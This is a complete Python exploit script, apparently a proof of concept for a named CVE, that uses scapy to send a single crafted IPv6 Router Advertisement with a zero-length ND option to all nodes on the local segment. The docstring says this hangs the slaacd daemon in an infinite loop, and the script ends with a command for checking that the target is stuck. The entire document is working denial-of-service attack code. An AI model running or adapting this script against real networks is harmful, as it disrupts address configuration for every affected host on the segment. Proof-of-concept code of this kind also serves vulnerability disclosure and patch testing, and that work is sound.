#!/usr/bin/env python3
"""CVE-2026-41285 - Kill slaacd with one packet.
One RA with nd_opt_len=0 → infinite loop in slaacd engine.
Requires: scapy, root/raw socket privs, same L2 segment as target.
"""

from scapy.all import *
import sys

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <interface>")
        print(f"  e.g. {sys.argv[0]} vmnet8")
        sys.exit(1)

    iface = sys.argv[1]

    # Craft RA with a single ND option: type=200 (unknown), len=0
    ra = (
        Ether(dst="33:33:00:00:00:01") /
        IPv6(dst="ff02::1") /
        ICMPv6ND_RA() /
        Raw(bytes([
            200,  # nd_opt_type (unknown, doesn't matter)
            0,    # nd_opt_len = 0  ← the cursed byte
        ]))
    )

    print(f"[*] Sending exploit RA on {iface}")
    print(f"[*] nd_opt_type=200, nd_opt_len=0")
    sendp(ra, iface=iface, verbose=False)
    print(f"[+] Sent. slaacd engine is now stuck forever.")
    print(f"[+] Verify: ssh target 'top -b | grep slaacd'")

if __name__ == "__main__":
    main()